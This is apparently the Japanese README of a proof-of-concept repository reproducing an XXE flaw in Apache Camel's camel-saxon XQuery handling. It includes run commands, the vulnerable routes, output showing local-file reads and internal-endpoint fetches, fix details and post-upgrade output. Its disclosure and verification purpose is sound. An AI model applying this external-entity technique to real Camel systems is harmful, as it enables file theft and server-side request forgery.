
Source に対する XQuery が Saxon のデフォルト設定でパースされていた(XXE)Apache Camel の脆弱性を再現する実行可能な PoC です。この脆弱性では、camel-saxon の XQueryBuilder — xquery language と xquery component の両方で式を評価する — が、デフォルトの Saxon Configuration を構築する際に、空白除去ルールのみを含むパースオプションを設定していたため、XML パーサーがデフォルトのままになっていました。すなわち、DOCTYPE 宣言が受け入れられ、外部エンティティが解決されます。
| ランタイム | ディレクトリ | スタック |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-saxon 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0(Quarkus 3.39.0、Camel 4.22.0) |
Spring Boot で 4.22.1 を使用する理由: 修正は 4.22.1 がリリースされた後に
camel-4.22.xへバックポートされたため、4.22.1 がこの系列で最後の影響を受けるリリースであり、4.22.2 が最初の修正版です。4.22.1 に固定することで、その境界が再現のポイントになります。
String、byte[]、InputStream のボディは、Camel 自身の XML 型コンバーターによって javax.xml.transform.Source に変換されます。これらのコンバーターは外部エンティティに対してパーサーを設定するため、それらのボディは影響を受けませんでした。既に Source であったボディはそのまま Saxon に渡され、ストリームベースの Source は依然としてパースが必要なため、Saxon はそのデフォルト Configuration でパースしていました。
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
# the servlet/HTTP port opens before the Camel context finishes starting, so wait for the context:
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
影響を受けるビルドでの出力(両方のランタイムで同一):
Expression under attack: concat(string(/r/data), string(/r/data/@leak))
It copies //data and //data/@leak into the result. It reads nothing itself.
1) XQuery over a StreamSource body, external entity -> file:///tmp/cve-2026-90885-secrets/db-password.txt
expression result: [db.password=LOCAL-FILE-s3cr3t-99]
local file contents in the result: true
2) XQuery over a StreamSource body, external entity -> http://127.0.0.1:8080/internal/secret
expression result: [INTERNAL-SECRET-s3cr3t-42]
internal endpoint response in the result: true
3) XQuery over a StreamSource body, external DTD -> http://127.0.0.1:8080/internal/leak.dtd
expression result: [no-entity-hereINTERNAL-DTD-WAS-FETCHED]
attribute defaulted by the fetched DTD in the result: true
4) CONTROL - the same document as a String body (Camel's type converters build the Source)
expression result: []
local file contents in the result: false
5) The same String body through a route doing convertBodyTo(Source.class) first
expression result: [db.password=LOCAL-FILE-s3cr3t-99]
local file contents in the result: true
Requests the XML parser made to internal endpoints on its own: [GET /internal/secret, GET /internal/leak.dtd]
>>> PROVEN: ...
実際に重要なのはプローブ5です。 送信側はプレーンなXMLのテキストを送信します。これはプローブ4が示すように影響を受けないボディ形状です。その後、ルートは式が実行される前に convertBodyTo(Source.class) を実行し、それだけでボディが影響を受けるパスへと移されます。攻撃者が構築した Source も、特殊なコンポーネントも、非デフォルトのオプションも不要です。ルート内の1つの通常の変換ステップが前提条件のすべてです。アドバイザリではこのケースが明示的に挙げられており、加えてルートの前段にあるコンポーネントやプロセッサがボディをストリームベースの Source に設定する場合も挙げられています。
プローブ1〜3は、Source を直接渡すことで到達する同じ欠陥であり、これはルートの前段にあるコンポーネントが行うことです。
設定に誤りはありません。configuration オプションもパーサー設定もなく、式は何も読み取りません。
from("direct:xquery")
.setBody(XQueryBuilder.xquery("concat(string(/r/data), string(/r/data/@leak))").asString());
from("direct:xquery-converted")
.convertBodyTo(Source.class)
.setBody(XQueryBuilder.xquery("concat(string(/r/data), string(/r/data/@leak))").asString());
攻撃者が制御できるのは、評価対象となる XML ドキュメントのみです。
| プロパティ | 値 |
|---|---|
| コンポーネント | camel-saxon(XQueryBuilder。xquery 言語および xquery コンポーネントで使用) |
| CWE | CWE-611(XML 外部エンティティ参照の不適切な制限) |
| 深刻度 | 高 |
| 攻撃ベクトル | 外部サブセットを持つ DOCTYPE、または外部エンティティを、すでに構築済みのストリームベースの Source として XQuery 式に到達させる |
| 影響 | Camel プロセスが読み取り可能なファイルの読み取り、およびプロセスにドキュメントが指定するホストへのリクエストを発行させる |
| 影響を受けるバージョン | 4.0.0 から 4.18.5 未満、4.19.0 から 4.22.2 未満(このコードパスは 4.0 より前から存在し、2.x/3.x にも存在していた) |
| 修正済みバージョン | 4.18.5、4.22.2、4.23.0 |
| JIRA | CAMEL-24691 |
| クレジット | Leon Zlobecki |
アドバイザリ: https://camel.apache.org/security/CVE-2026-90885.html
CVE-2026-85250 とは別の問題です。こちらは
camel-xpathのdocumentType=InputSourceに関するもので、4.18.5、4.22.1、4.23.0 で修正されました。どちらも デフォルトのパーサーハードニングを回避する入力パスですが、異なるコンポーネントであり、どちらの修正も 他方をカバーしていません。特に 4.22.1 は CVE-2026-85250 を解決しますが、この問題は解決しません。
XQueryBuilder は、デフォルトの Configuration を構築する際に、disallow-doctype-decl を有効化し、
external-general-entities、external-parameter-entities、load-external-dtd を無効化するパースオプションを
使用するようになりました。これにより、Source ボディが、Camel の XmlConverter がすでに String、byte[]、
InputStream ボディに適用していたハードニング済みパーサーと整合します。
この変更は可視的であり、4.23 アップグレードガイドに記録されています。XQuery にすでに構築済みの Source として
到達し、かつ DOCTYPE を含むボディは、パースエラーで拒否されるようになります。一方、DOCTYPE を含まない
ボディには影響しません。
ハードニングされるのはデフォルトの Configuration のみです。エンドポイントや言語の configuration オプション、
または XQueryBuilder.setConfiguration を通じて提供されたものはそのまま使用されます。したがって、DOCTYPE や
外部エンティティ処理を本当に必要とするデプロイではそれを維持でき、他の理由で独自の Configuration を提供する
デプロイでは、同じパースオプションを自身で適用する必要があります。
main では apache/camel#26344(9c23b686)で修正され、
camel-4.22.x には #26728(0d0ed8bb)、
camel-4.18.x には #26730(ed513f3a)でバックポートされました。
camel.version を 4.22.2(Spring Boot)に設定するか、両方のプラットフォームバージョンを Camel 4.22.2 以降を
含む Camel Quarkus リリースに設定して、再度実行してください。4.22.1 → 4.22.2 で検証済みです:
1) ... [FAILED: XPathException: SXXP0003 Error reported by XML parser: DOCTYPE is disallowed when the
feature "http://apache.org/xml/features/disallow-doctype-decl" set to true.]
2) ... same 3) ... same
5) ... same
Requests the XML parser made to internal endpoints on its own: []
>>> NOT reproduced: external access was denied.
アップグレード前に知っておくべきこと: 4.22.2 ではプローブ 4 が同じように失敗します。影響を受けるビルドでは、このコントロールは空の結果を返しました — エンティティは単に解決されず、エラーも発生しませんでした。このハードニングはデフォルトの Configuration 全体に適用されるため、XQuery は DOCTYPE を含むあらゆるボディを拒否するようになりました。これには、そもそも影響を受けていなかった String ボディも含まれます。DOCTYPE を含まないドキュメントはどちらの場合も影響を受けません。デプロイメントが正当に DOCTYPE を含む XML を XQuery に渡す必要がある場合は、configuration オプションを通じて独自の Configuration を指定してください — この方法で指定されたものはそのまま使用されます。
このリポジトリは教育および防御目的で公開されています: Apache Camel ユーザーが脆弱性を理解し、影響を受けているかどうかを確認し、アップグレードによって解決されることを確証できるようにするためです。所有または運用していないシステムに対してこの資料を使用しないでください。